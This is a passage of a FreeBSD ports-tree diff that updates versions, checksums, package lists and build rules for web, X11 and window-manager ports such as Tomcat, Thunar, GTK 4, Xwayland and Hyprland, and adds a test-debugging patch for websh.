%%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/classes/websocket/snake/SnakeTimer.java +%%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/403.jsp +%%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/403.jsp.html %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/debug-taglib.tld %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/example-taglib.tld %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/jsp2-example-taglib.tld diff --git a/www/tomcat85/Makefile b/www/tomcat85/Makefile index 7517a691872..c433e852c7f 100644 --- a/www/tomcat85/Makefile +++ b/www/tomcat85/Makefile @@ -1,5 +1,5 @@ PORTNAME= tomcat -PORTVERSION= 8.5.84 +PORTVERSION= 8.5.88 CATEGORIES= www java MASTER_SITES= APACHE/${PORTNAME}/${PORTNAME}-${PORTVERSION:C/([0-9])(.*)/\1/}/v${PORTVERSION}/bin PKGNAMESUFFIX= 85 diff --git a/www/tomcat85/distinfo b/www/tomcat85/distinfo index 76f6bb7cca3..481ed242618 100644 --- a/www/tomcat85/distinfo +++ b/www/tomcat85/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1669349015 -SHA256 (apache-tomcat-8.5.84.tar.gz) = d7123ddee6f66d34e6fb33b669bdd6ebc77832bf123516474c299f3cdee3efdf -SIZE (apache-tomcat-8.5.84.tar.gz) = 10626063 +TIMESTAMP = 1681981549 +SHA256 (apache-tomcat-8.5.88.tar.gz) = fd030eb0120aad3493f7354a57b2ee11a4d77d07ec48de2b8ab090046f0ed2a2 +SIZE (apache-tomcat-8.5.88.tar.gz) = 10663778 diff --git a/www/tomcat85/pkg-plist b/www/tomcat85/pkg-plist index 9fe6a824a7a..07013096e20 100644 --- a/www/tomcat85/pkg-plist +++ b/www/tomcat85/pkg-plist @@ -68,8 +68,10 @@ @sample %%T%%/conf/web.xml.sample %%T%%/temp/safeToDelete.tmp %%DOCS%%%%T%%/webapps/docs/BUILDING.txt +%%DOCS%%%%T%%/webapps/docs/META-INF/context.xml %%DOCS%%%%T%%/webapps/docs/RELEASE-NOTES.txt %%DOCS%%%%T%%/webapps/docs/RUNNING.txt +%%DOCS%%%%T%%/webapps/docs/WEB-INF/jsp/403.jsp %%DOCS%%%%T%%/webapps/docs/WEB-INF/web.xml %%DOCS%%%%T%%/webapps/docs/aio.html %%DOCS%%%%T%%/webapps/docs/annotationapi/index.html @@ -387,6 +389,8 @@ %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/classes/websocket/snake/SnakeTimer$1.class %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/classes/websocket/snake/SnakeTimer.class %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/classes/websocket/snake/SnakeTimer.java +%%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/403.jsp +%%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/403.jsp.html %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/debug-taglib.tld %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/example-taglib.tld %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/jsp2-example-taglib.tld diff --git a/www/tomcat9/Makefile b/www/tomcat9/Makefile index 9c5a517f883..edb72a19313 100644 --- a/www/tomcat9/Makefile +++ b/www/tomcat9/Makefile @@ -1,5 +1,5 @@ PORTNAME= tomcat -PORTVERSION= 9.0.70 +PORTVERSION= 9.0.74 CATEGORIES= www java MASTER_SITES= APACHE/${PORTNAME}/${PORTNAME}-${PORTVERSION:C/([0-9])(.*)/\1/}/v${PORTVERSION}/bin PKGNAMESUFFIX= 9 diff --git a/www/tomcat9/distinfo b/www/tomcat9/distinfo index 751d7e2e88d..3f3954bf4e5 100644 --- a/www/tomcat9/distinfo +++ b/www/tomcat9/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1670260173 -SHA256 (apache-tomcat-9.0.70.tar.gz) = 38bc58342dccc3b0b2c238f55ff4f579a0a550758be940492e47e3fa622fb3a4 -SIZE (apache-tomcat-9.0.70.tar.gz) = 11613418 +TIMESTAMP = 1681809044 +SHA256 (apache-tomcat-9.0.74.tar.gz) = f177b68bb99f6ed86e08f92696ebc61358cdfb3803c0e5f01df95e4ac6227cd2 +SIZE (apache-tomcat-9.0.74.tar.gz) = 11642299 diff --git a/www/tomcat9/pkg-plist b/www/tomcat9/pkg-plist index d84a8fafab5..0724dd998dc 100644 --- a/www/tomcat9/pkg-plist +++ b/www/tomcat9/pkg-plist @@ -72,8 +72,10 @@ @sample %%T%%/conf/web.xml.sample %%T%%/temp/safeToDelete.tmp %%DOCS%%%%T%%/webapps/docs/BUILDING.txt +%%DOCS%%%%T%%/webapps/docs/META-INF/context.xml %%DOCS%%%%T%%/webapps/docs/RELEASE-NOTES.txt %%DOCS%%%%T%%/webapps/docs/RUNNING.txt +%%DOCS%%%%T%%/webapps/docs/WEB-INF/jsp/403.jsp %%DOCS%%%%T%%/webapps/docs/WEB-INF/web.xml %%DOCS%%%%T%%/webapps/docs/aio.html %%DOCS%%%%T%%/webapps/docs/api/index.html @@ -400,6 +402,8 @@ %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/classes/websocket/snake/SnakeTimer$1.class %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/classes/websocket/snake/SnakeTimer.class %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/classes/websocket/snake/SnakeTimer.java +%%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/403.jsp +%%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/403.jsp.html %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/debug-taglib.tld %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/example-taglib.tld %%EXAMPLES%%%%T%%/webapps/examples/WEB-INF/jsp/jsp2-example-taglib.tld diff --git a/www/trafficserver/Makefile b/www/trafficserver/Makefile index dd79ceea5a3..f9b104653ac 100644 --- a/www/trafficserver/Makefile +++ b/www/trafficserver/Makefile @@ -1,6 +1,6 @@ PORTNAME= trafficserver PORTVERSION= 9.1.3 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= www MASTER_SITES= APACHE/${PORTNAME} diff --git a/www/twiki-MathModePlugin/Makefile b/www/twiki-MathModePlugin/Makefile index 62b4956707e..8f76b532070 100644 --- a/www/twiki-MathModePlugin/Makefile +++ b/www/twiki-MathModePlugin/Makefile @@ -1,6 +1,6 @@ PORTNAME= MathModePlugin SVNREV= 15934 -PORTREVISION= 1 +PORTREVISION= 2 MASTER_SITES= http://protey.ru/freebsd/distfiles/ \ LOCAL/skv diff --git a/www/typo3-11/Makefile b/www/typo3-11/Makefile index 75f59c9462f..e1666776b6c 100644 --- a/www/typo3-11/Makefile +++ b/www/typo3-11/Makefile @@ -1,5 +1,6 @@ PORTNAME= typo3 PORTVERSION= ${PORT_V_MAJOR}.${PORT_V_MINOR}.${PORT_V_PATCH} +PORTREVISION= 1 CATEGORIES= www MASTER_SITES= https://typo3.azureedge.net/typo3/${PORTVERSION}/ PKGNAMESUFFIX= -${PORT_V_MAJOR}${PHP_PKGNAMESUFFIX} diff --git a/www/typo3-12/Makefile b/www/typo3-12/Makefile index 4848e10d93a..effee31fda7 100644 --- a/www/typo3-12/Makefile +++ b/www/typo3-12/Makefile @@ -1,5 +1,6 @@ PORTNAME= typo3 PORTVERSION= ${PORT_V_MAJOR}.${PORT_V_MINOR}.${PORT_V_PATCH} +PORTREVISION= 1 CATEGORIES= www MASTER_SITES= https://typo3.azureedge.net/typo3/${PORTVERSION}/ PKGNAMESUFFIX= -${PORT_V_MAJOR}${PHP_PKGNAMESUFFIX} diff --git a/www/websh/files/patch-debug-test b/www/websh/files/patch-debug-test new file mode 100644 index 00000000000..5816ed5ce58 --- /dev/null +++ b/www/websh/files/patch-debug-test @@ -0,0 +1,30 @@ +The two cookiecontext-tests fail repeatedly on Poudriere, but I'm +unable to reproduce the failures on my own FreeBSD-14 box. These +changes will make the test-failures more verbose, which might give +me the clue necessary to fix them properly. +--- ../tests/cookiecontext.test 2009-09-11 04:02:42.000000000 -0400 ++++ ../tests/cookiecontext.test 2023-05-01 22:47:41.210491000 -0400 +@@ -52,6 +52,10 @@ + set time [clock scan $timestring] + set result [expr {($now - $time) < 2}] ++ if {$result != 1} { ++ set result "$timestring: $now vs. $time" ++ } ++ set result + } else { +- set result 0 ++ set result "Text: <<$text>>, Now: <<$now>>" + } + +@@ -86,6 +90,10 @@ + set time [clock scan $timestring] + set result [expr {($now + 86400 - $time) < 2}] ++ if {$result != 1} { ++ set result "$timestring: $now vs. $time" ++ } ++ set result + } else { +- set result 0 ++ set result "Text: <<$text1a>>, Now: <<$now>>" + } + diff --git a/www/webstone-ssl/Makefile b/www/webstone-ssl/Makefile index 1ff82b611ed..8de4649d213 100644 --- a/www/webstone-ssl/Makefile +++ b/www/webstone-ssl/Makefile @@ -10,6 +10,9 @@ MAINTAINER= ports@FreeBSD.org COMMENT= World wide web server benchmarking with SSL support WWW= https://crypto.stanford.edu/~nagendra/projects/WebStone/ +DEPRECATED= Requires upstream EOL OpenSSL 1.0.X +EXPIRATION_DATE= 2023-06-01 + LICENSE= GPLv2 LICENSE_FILE= ${WRKSRC}/COPYING diff --git a/x11-fm/thunar/Makefile b/x11-fm/thunar/Makefile index 6a7cb5b9453..0de440de8d6 100644 --- a/x11-fm/thunar/Makefile +++ b/x11-fm/thunar/Makefile @@ -1,6 +1,5 @@ PORTNAME= thunar -DISTVERSION= 4.18.4 -PORTREVISION= 1 +DISTVERSION= 4.18.6 CATEGORIES= x11-fm xfce MASTER_SITES= XFCE DIST_SUBDIR= xfce4 diff --git a/x11-fm/thunar/distinfo b/x11-fm/thunar/distinfo index 814fa252df0..44b8b1e7c9d 100644 --- a/x11-fm/thunar/distinfo +++ b/x11-fm/thunar/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1677108328 -SHA256 (xfce4/thunar-4.18.4.tar.bz2) = c4463ce2fb1d628adce70a828e8b4de5fa0802236894d2c40f749471619bedcc -SIZE (xfce4/thunar-4.18.4.tar.bz2) = 2836333 +TIMESTAMP = 1682849671 +SHA256 (xfce4/thunar-4.18.6.tar.bz2) = ee49b6e3fa1e7eac7f4d200ad6786d10f65721eb2cc18e36ce55a7195558140d +SIZE (xfce4/thunar-4.18.6.tar.bz2) = 2831580 diff --git a/x11-fonts/fontpreview/Makefile b/x11-fonts/fontpreview/Makefile index e3aee473ae3..c07f5681670 100644 --- a/x11-fonts/fontpreview/Makefile +++ b/x11-fonts/fontpreview/Makefile @@ -1,6 +1,6 @@ PORTNAME= fontpreview DISTVERSION= 1.0.6 -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= x11-fonts graphics MAINTAINER= 0mp@FreeBSD.org diff --git a/x11-servers/xwayland-devel/Makefile b/x11-servers/xwayland-devel/Makefile index 883e472dd23..aef30b0b9c6 100644 --- a/x11-servers/xwayland-devel/Makefile +++ b/x11-servers/xwayland-devel/Makefile @@ -1,14 +1,15 @@ PORTNAME= xwayland DISTVERSIONPREFIX= xorg-server- -DISTVERSION= 21.0.99.1-454 -DISTVERSIONSUFFIX= -g8f7279ade +DISTVERSION= 21.0.99.1-459 +DISTVERSIONSUFFIX= -g${GL_COMMIT:C/(.{12}).*/\1/} CATEGORIES= x11-servers PKGNAMESUFFIX= -devel -PATCH_SITES= https://github.com/${GH_ACCOUNT}/${GH_PROJECT}/commit/ -PATCHFILES+= 537acb3eb02f.patch:-p1 # https://gitlab.freedesktop.org/xorg/xserver/-/merge_requests/432 -PATCHFILES+= 3930d00746b0.patch:-p1 # https://gitlab.freedesktop.org/xorg/xserver/-/merge_requests/432 -PATCHFILES+= 74813b4c09ca.patch:-p1 # https://gitlab.freedesktop.org/xorg/xserver/-/merge_requests/432 +PATCH_SITES+= https://github.com/mirror/${GL_PROJECT}/commit/:github +PATCHFILES+= cd6c9c1246af.patch:-p1:github # https://gitlab.freedesktop.org/xorg/xserver/-/merge_requests/432 +PATCHFILES+= 3930d00746b0.patch:-p1:github # https://gitlab.freedesktop.org/xorg/xserver/-/merge_requests/432 +PATCHFILES+= 3b0d1a3a2296.patch:-p1:github # https://gitlab.freedesktop.org/xorg/xserver/-/merge_requests/432 +PATCH_SITES+= ${GL_SITE}/${GL_ACCOUNT}/${GL_PROJECT}/-/commit/ PATCHFILES+= 8b9bf0a22640.patch:-p1 # https://gitlab.freedesktop.org/xorg/xserver/-/merge_requests/1047 PATCHFILES+= 0c90fb305e9b.patch:-p1 # https://gitlab.freedesktop.org/xorg/xserver/-/merge_requests/1051 @@ -32,12 +33,14 @@ RUN_DEPENDS= xkbcomp:x11/xkbcomp \ CONFLICTS_INSTALL= ${PORTNAME} USES= compiler:c11 gl meson pkgconfig xorg -USE_GITHUB= yes +USE_GITLAB= yes USE_GL= gbm gl USE_XORG= pixman xau xdmcp xfont2 xkbfile xshmfence xtrans -GH_ACCOUNT= freedesktop -GH_PROJECT= xorg-xserver -GH_TUPLE= freedesktop:xorg-xorgproto:xorgproto-2022.2:xorgproto/subprojects/xorgproto +GL_SITE= https://gitlab.freedesktop.org +GL_ACCOUNT= xorg +GL_PROJECT= xserver +GL_COMMIT= 9a55c402aa803fb10e39ab4fd18a709d0cd06fd4 +GL_TUPLE= xorg/proto:xorgproto:824001c947cb1962209c6a8f2c63c2637877220d:xorgproto/subprojects/xorgproto MESON_ARGS= -D${PORTNAME}=true \ -Dxorg=false \ -Dxnest=false \ @@ -76,13 +79,10 @@ NVIDIA_DESC= EGLStream support for glamor on Xwayland NVIDIA_BUILD_DEPENDS= egl-wayland>0:graphics/egl-wayland NVIDIA_MESON_TRUE= xwayland_eglstream -.ifdef GH_TUPLE -post-install: -# XXX USES=meson invokes ninja directly, so doesn't support --skip-subprojects - @${RM} -r ${STAGEDIR}${PREFIX}/include/GL - @${RM} -r ${STAGEDIR}${PREFIX}/include/X11 - @${RM} -r ${STAGEDIR}${PREFIX}/share/doc/xorgproto - @${RM} -r ${STAGEDIR}${PREFIX}/share/pkgconfig +.ifdef GL_TUPLE +post-configure: + @${REINPLACE_CMD} 's/meson install/& \ + --skip-subprojects/' ${BUILD_WRKSRC}/build.ninja .endif .include diff --git a/x11-servers/xwayland-devel/distinfo b/x11-servers/xwayland-devel/distinfo index 8638aec02a5..d5d5279afbc 100644 --- a/x11-servers/xwayland-devel/distinfo +++ b/x11-servers/xwayland-devel/distinfo @@ -1,15 +1,15 @@ -TIMESTAMP = 1681289065 -SHA256 (freedesktop-xorg-xserver-xorg-server-21.0.99.1-454-g8f7279ade_GH0.tar.gz) = 4231ae7cbfa32e3e6ede7ad4c059bf36f7bfcba6108a1fae02d8f2081aed3716 -SIZE (freedesktop-xorg-xserver-xorg-server-21.0.99.1-454-g8f7279ade_GH0.tar.gz) = 5493841 -SHA256 (freedesktop-xorg-xorgproto-xorgproto-2022.2_GH0.tar.gz) = 407311f6fab7cd17404ee0a25eb11cbee0aac0347ddc36ae841070490116a204 -SIZE (freedesktop-xorg-xorgproto-xorgproto-2022.2_GH0.tar.gz) = 983580 -SHA256 (537acb3eb02f.patch) = 721835b2c7f5e531f9f1781dcf6d91e4a3ffbf7f9138710438045b0ca8e71d8f -SIZE (537acb3eb02f.patch) = 3736 +TIMESTAMP = 1682495205 +SHA256 (xorg-xserver-9a55c402aa803fb10e39ab4fd18a709d0cd06fd4_GL0.tar.gz) = b090838cde847be957e4d79e2f4bdbbba3d9db3d646736486c3bb016796f6b67 +SIZE (xorg-xserver-9a55c402aa803fb10e39ab4fd18a709d0cd06fd4_GL0.tar.gz) = 5496529 +SHA256 (xorg/proto-xorgproto-824001c947cb1962209c6a8f2c63c2637877220d_GL0.tar.gz) = ab90ad2bc5fc3f36e150b5e116d8c375e207a7020ff4678c6df26b1d53a7fff3 +SIZE (xorg/proto-xorgproto-824001c947cb1962209c6a8f2c63c2637877220d_GL0.tar.gz) = 983944 +SHA256 (cd6c9c1246af.patch) = a50fd4511793a53cacefbca2c8436cf43d36ce21d245aadb5d17e16653580d75 +SIZE (cd6c9c1246af.patch) = 3730 SHA256 (3930d00746b0.patch) = acae16d3636d12e631a14e2584a4ae5d527dfb9897b897631f7c8c8e3d5f49c7 SIZE (3930d00746b0.patch) = 18587 -SHA256 (74813b4c09ca.patch) = 1e115e88f1e2b078a0c2aa32da6ea6dfe6f39451f334b4313c625e10986deb30 -SIZE (74813b4c09ca.patch) = 2519 -SHA256 (8b9bf0a22640.patch) = 86a62b143705d037701abf41769c94f0ed555cf673e7500f5a3a782787fb02e5 -SIZE (8b9bf0a22640.patch) = 3696 -SHA256 (0c90fb305e9b.patch) = 5101da6ee65a525f0479f9979deafbd670d4274ab0fd4c20362ff9fefd944ace -SIZE (0c90fb305e9b.patch) = 2982 +SHA256 (3b0d1a3a2296.patch) = 4e2c4165e9e287ed42cbb9a30eedf1a10f0fcbae0db6a222feb1783f9bb2ed29 +SIZE (3b0d1a3a2296.patch) = 2513 +SHA256 (8b9bf0a22640.patch) = a44b46488e9b038b546e756d96ee7e2856f58c8fa30b81ed02d75716fd2f07f2 +SIZE (8b9bf0a22640.patch) = 3708 +SHA256 (0c90fb305e9b.patch) = bb8ea8dc81ad9685388edbbac584717346ed8df575bd99ef9e86f0476a940c01 +SIZE (0c90fb305e9b.patch) = 2994 diff --git a/x11-themes/budgie-backgrounds/Makefile b/x11-themes/budgie-backgrounds/Makefile index c7d7fa3e7b5..47322cb4d76 100644 --- a/x11-themes/budgie-backgrounds/Makefile +++ b/x11-themes/budgie-backgrounds/Makefile @@ -1,5 +1,6 @@ PORTNAME= budgie-backgrounds DISTVERSION= 1.0 +PORTREVISION= 1 DISTVERSIONPREFIX= v CATEGORIES= x11-themes budgie MASTER_SITES= BUDGIE diff --git a/x11-themes/cursor-crystal-theme/Makefile b/x11-themes/cursor-crystal-theme/Makefile index bb6041e75d2..c7cc8bd6c3e 100644 --- a/x11-themes/cursor-crystal-theme/Makefile +++ b/x11-themes/cursor-crystal-theme/Makefile @@ -1,6 +1,6 @@ PORTNAME= cursor-crystal-theme DISTVERSION= 1.1.1 -PORTREVISION= 7 +PORTREVISION= 8 CATEGORIES= x11-themes MASTER_SITES= http://www.notmart.org/files/ \ http://pinguin.stttelkom.ac.id/gentoo/distfiles/ diff --git a/x11-themes/icons-tango-extras/Makefile b/x11-themes/icons-tango-extras/Makefile index e319f8a35be..affc218f900 100644 --- a/x11-themes/icons-tango-extras/Makefile +++ b/x11-themes/icons-tango-extras/Makefile @@ -1,6 +1,6 @@ PORTNAME= icons-tango-extras PORTVERSION= 0.1.0 -PORTREVISION= 5 +PORTREVISION= 6 CATEGORIES= x11-themes MASTER_SITES= http://tango.freedesktop.org/releases/ \ GENTOO diff --git a/x11-themes/icons-tango/Makefile b/x11-themes/icons-tango/Makefile index 0596344e2ec..5b8ba8f06bc 100644 --- a/x11-themes/icons-tango/Makefile +++ b/x11-themes/icons-tango/Makefile @@ -1,6 +1,6 @@ PORTNAME= icons-tango PORTVERSION= 0.8.90 -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= x11-themes MASTER_SITES= GENTOO DISTNAME= tango-icon-theme-${PORTVERSION} diff --git a/x11-toolkits/gtk40/Makefile b/x11-toolkits/gtk40/Makefile index f8175c06e50..b19b3d84d7a 100644 --- a/x11-toolkits/gtk40/Makefile +++ b/x11-toolkits/gtk40/Makefile @@ -1,5 +1,5 @@ PORTNAME= gtk -PORTVERSION= 4.10.1 +PORTVERSION= 4.10.3 CATEGORIES= x11-toolkits MASTER_SITES= GNOME PKGNAMESUFFIX= 4 @@ -37,7 +37,7 @@ LDFLAGS+= -lexecinfo BINARY_ALIAS= python3=${PYTHON_CMD} -LIBVERSION= 1.1000.1 +LIBVERSION= 1.1000.3 PLIST_SUB+= LIBVERSION=${LIBVERSION} GLIB_SCHEMAS= org.gtk.Demo4.gschema.xml \ diff --git a/x11-toolkits/gtk40/distinfo b/x11-toolkits/gtk40/distinfo index d4bf64553f4..c56a2ee20c7 100644 --- a/x11-toolkits/gtk40/distinfo +++ b/x11-toolkits/gtk40/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1678794649 -SHA256 (gnome/gtk-4.10.1.tar.xz) = e8fcac04bc7715b9da667c911a5ee8f262e200d1d6a50adf23645ca8cfcd0311 -SIZE (gnome/gtk-4.10.1.tar.xz) = 20481204 +TIMESTAMP = 1682765823 +SHA256 (gnome/gtk-4.10.3.tar.xz) = 4545441ad79e377eb6e0a705026dc7a46886e46a1b034db40912909da801cea9 +SIZE (gnome/gtk-4.10.3.tar.xz) = 20483468 diff --git a/x11-toolkits/wlroots-devel/Makefile b/x11-toolkits/wlroots-devel/Makefile index 44f73b64bc3..5812fdb4ea9 100644 --- a/x11-toolkits/wlroots-devel/Makefile +++ b/x11-toolkits/wlroots-devel/Makefile @@ -1,5 +1,5 @@ PORTNAME= wlroots -DISTVERSION= 0.16.0-368 +DISTVERSION= 0.16.0-369 DISTVERSIONSUFFIX= -g${GL_COMMIT:C/(.{12}).*/\1/} CATEGORIES= x11-toolkits PKGNAMESUFFIX= -devel @@ -28,7 +28,7 @@ USE_GL= gbm USE_XORG= pixman USE_LDCONFIG= yes GL_SITE= https://gitlab.freedesktop.org -GL_COMMIT= 6830bfc17fd94709e2cdd4da0af989f102a26e59 +GL_COMMIT= f5a5712a026340a4aa3204ca4fec668f32d9ac61 MESON_ARGS= -Dexamples=false -Dbackends=${BACKENDS:ts,} -Drenderers=${RENDERERS:ts,} .ifdef PKGNAMESUFFIX diff --git a/x11-toolkits/wlroots-devel/distinfo b/x11-toolkits/wlroots-devel/distinfo index d836bab45b8..e047ef4b50e 100644 --- a/x11-toolkits/wlroots-devel/distinfo +++ b/x11-toolkits/wlroots-devel/distinfo @@ -1,6 +1,6 @@ -TIMESTAMP = 1682436395 -SHA256 (wlroots-wlroots-6830bfc17fd94709e2cdd4da0af989f102a26e59_GL0.tar.gz) = 5d98944fcbaf01e1bde121fd971d3f24aaa9e5d71d8fefc54f81f732963f4874 -SIZE (wlroots-wlroots-6830bfc17fd94709e2cdd4da0af989f102a26e59_GL0.tar.gz) = 615155 +TIMESTAMP = 1682696199 +SHA256 (wlroots-wlroots-f5a5712a026340a4aa3204ca4fec668f32d9ac61_GL0.tar.gz) = e5533f4dbb7b86bda45503d07d3f724099055a810372d4594c628293a97d56d6 +SIZE (wlroots-wlroots-f5a5712a026340a4aa3204ca4fec668f32d9ac61_GL0.tar.gz) = 615127 SHA256 (10f80a8f1bb2.patch) = ca65f8eecf32e7364d5ba43cd9ee91060710a6fb8392892c86ad71e4f2a4c0b5 SIZE (10f80a8f1bb2.patch) = 6097 SHA256 (3196c73d487f.patch) = 69c6bc4658852bb45a24b129f625a7faaed8035dab0d79c388ae74d650beacdc diff --git a/x11-wm/awesome/Makefile b/x11-wm/awesome/Makefile index 971c078eab2..5c28324e201 100644 --- a/x11-wm/awesome/Makefile +++ b/x11-wm/awesome/Makefile @@ -1,7 +1,7 @@ PORTNAME= awesome PORTVERSION= 4.3 DISTVERSIONPREFIX= v -PORTREVISION= 3 +PORTREVISION= 4 PORTEPOCH= 1 CATEGORIES= x11-wm diff --git a/x11-wm/epplets/Makefile b/x11-wm/epplets/Makefile index 010023d46d4..51a81d4e7e4 100644 --- a/x11-wm/epplets/Makefile +++ b/x11-wm/epplets/Makefile @@ -1,6 +1,6 @@ PORTNAME= epplets PORTVERSION= 0.14 -PORTREVISION= 10 +PORTREVISION= 11 CATEGORIES= x11-wm MASTER_SITES= SF/enlightenment/${PORTNAME}/${PORTVERSION} diff --git a/x11-wm/hyprland-devel/Makefile b/x11-wm/hyprland-devel/Makefile index 9506ea7eef9..3bc118167ff 100644 --- a/x11-wm/hyprland-devel/Makefile +++ b/x11-wm/hyprland-devel/Makefile @@ -1,7 +1,7 @@ PORTNAME= hyprland DISTVERSIONPREFIX= v -DISTVERSION= 0.24.1-105 -DISTVERSIONSUFFIX= -g62213229 +DISTVERSION= 0.24.1-134 +DISTVERSIONSUFFIX= -gc949173b CATEGORIES= x11-wm wayland PKGNAMESUFFIX= -devel @@ -44,7 +44,7 @@ post-patch: # Extract (snapshot) version from the port instead of meson.build @${REINPLACE_CMD} -i .nogit -e "/GIT_BRANCH/s/run_command.*/'main'/" \ -e "/GIT_COMMIT_HASH/s/run_command.*/'${DISTVERSIONFULL}'/" \ - -e "/GIT_COMMIT_MESSAGE/s/run_command.*/'?'/" \ + -e "/GIT_COMMIT_MESSAGE/d" \ -e "/GIT_DIRTY/s/run_command.*/'portbld'/" \ -e "/version.*jq/s/run_command.*/'${DISTVERSIONFULL}',/" \ ${WRKSRC}/meson.build @@ -56,12 +56,15 @@ post-patch: ${WRKSRC}/src/Compositor.cpp .ifdef GH_TUPLE -post-install: -# XXX USES=meson invokes ninja directly, so doesn't support --skip-subprojects - @${RM} -r ${STAGEDIR}${PREFIX}/share/hyprland-protocols - @${RM} -r ${STAGEDIR}${PREFIX}/share/pkgconfig +post-configure: + @${REINPLACE_CMD} 's/meson install/& \ + --skip-subprojects/' ${BUILD_WRKSRC}/build.ninja .endif +post-install: +# Plugin API installs all headers (no private vs. public) + @(cd ${STAGEDIR}${PREFIX} && ${FIND} include/${PORTNAME} ! -type d) >>${TMPPLIST} + # XXX Drop after FreeBSD 13.2 EOL around 2024-05-01 (don't forget distinfo) .if ${CXX} == c++ && exists(/usr/lib/libc++.so) .if !exists(/usr/include/c++/v1/__ranges/as_rvalue_view.h) || make(makesum) || make(fetch) diff --git a/x11-wm/hyprland-devel/distinfo b/x11-wm/hyprland-devel/distinfo index ec3e34bb30c..26bde8b8d3d 100644 --- a/x11-wm/hyprland-devel/distinfo +++ b/x11-wm/hyprland-devel/distinfo @@ -1,6 +1,6 @@ -TIMESTAMP = 1682526833 -SHA256 (hyprwm-Hyprland-v0.24.1-105-g62213229_GH0.tar.gz) = a2d28b867335f4755ac2f36ce6ddb6895f56f7af552628c9f9264882cf6f72c1 -SIZE (hyprwm-Hyprland-v0.24.1-105-g62213229_GH0.tar.gz) = 763781 +TIMESTAMP = 1682976507 +SHA256 (hyprwm-Hyprland-v0.24.1-134-gc949173b_GH0.tar.gz) = 0fe1769b58684c9a68438b3fec014332388bac3a3ef9d2998952c43f933dfab6 +SIZE (hyprwm-Hyprland-v0.24.1-134-gc949173b_GH0.tar.gz) = 766367 SHA256 (hyprwm-hyprland-protocols-4d29e48_GH0.tar.gz) = 1384ccdbb0149cdc40d74fbe21fba97d706db08b718c7df9481076381d852c74 SIZE (hyprwm-hyprland-protocols-4d29e48_GH0.tar.gz) = 6340 SHA256 (canihavesomecoffee-udis86-1.7.2-186-g5336633_GH0.tar.gz) = 69aff959179ff6247b375b92e797221dbd8e078eabbf1366280b0532617e7fb8 diff --git a/x11-wm/hyprland-devel/pkg-plist b/x11-wm/hyprland-devel/pkg-plist index 3c6d77e4eef..63775edfaec 100644 --- a/x11-wm/hyprland-devel/pkg-plist +++ b/x11-wm/hyprland-devel/pkg-plist @@ -6,4 +6,5 @@ man/man1/hyprctl.1.gz %%DATADIR%%/wall_2K.png %%DATADIR%%/wall_4K.png %%DATADIR%%/wall_8K.png +share/pkgconfig/hyprland.pc share/wayland-sessions/hyprland.desktop diff --git a/x11-wm/hyprland/Makefile b/x11-wm/hyprland/Makefile index 5969e504469..c1e6919c430 100644 --- a/x11-wm/hyprland/Makefile +++ b/x11-wm/hyprland/Makefile @@ -48,7 +48,7 @@ post-patch: # Extract (snapshot) version from the port instead of meson.build @${REINPLACE_CMD} -i .nogit -e "/GIT_BRANCH/s/run_command.*/'main'/" \ -e "/GIT_COMMIT_HASH/s/run_command.*/'${DISTVERSIONFULL}'/" \ - -e "/GIT_COMMIT_MESSAGE/s/run_command.*/'?'/" \ + -e "/GIT_COMMIT_MESSAGE/d" \ -e "/GIT_DIRTY/s/run_command.*/'portbld'/" \ -e "/version.*jq/s/run_command.*/'${DISTVERSIONFULL}',/" \ ${WRKSRC}/meson.build @@ -60,10 +60,9 @@ post-patch: ${WRKSRC}/src/Compositor.cpp .ifdef GH_TUPLE -post-install: -# XXX USES=meson invokes ninja directly, so doesn't support --skip-subprojects - @${RM} -r ${STAGEDIR}${PREFIX}/share/pkgconfig - @${RM} -r ${STAGEDIR}${PREFIX}/share/protocols +post-configure: + @${REINPLACE_CMD} 's/meson install/& \ + --skip-subprojects/' ${BUILD_WRKSRC}/build.ninja .endif # XXX Drop after FreeBSD 13.2 EOL around 2024-05-01 (don't forget distinfo) diff --git a/x11-wm/libwraster/Makefile b/x11-wm/libwraster/Makefile index 008e6a5b965..cf0fea2654a 100644 --- a/x11-wm/libwraster/Makefile +++ b/x11-wm/libwraster/Makefile @@ -1,6 +1,6 @@ PORTNAME= libwraster PORTVERSION= 0.95.9 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= x11-wm windowmaker MASTER_SITES= http://windowmaker.org/pub/source/release/ DISTNAME= WindowMaker-${PORTVERSION} diff --git a/x11-wm/nscde/Makefile b/x11-wm/nscde/Makefile index 4ef706e71bf..87f558769ec 100644 --- a/x11-wm/nscde/Makefile +++ b/x11-wm/nscde/Makefile @@ -1,6 +1,6 @@ PORTNAME= nscde DISTVERSION= 2.2 -PORTREVISION= 4 +PORTREVISION= 5 CATEGORIES= x11-wm MASTER_SITES= https://github.com/NsCDE/NsCDE/releases/download/${DISTVERSION}/ diff --git a/x11-wm/phoc/Makefile b/x11-wm/phoc/Makefile index d1b3546195d..0898f140c6a 100644 --- a/x11-wm/phoc/Makefile +++ b/x11-wm/phoc/Makefile @@ -1,7 +1,6 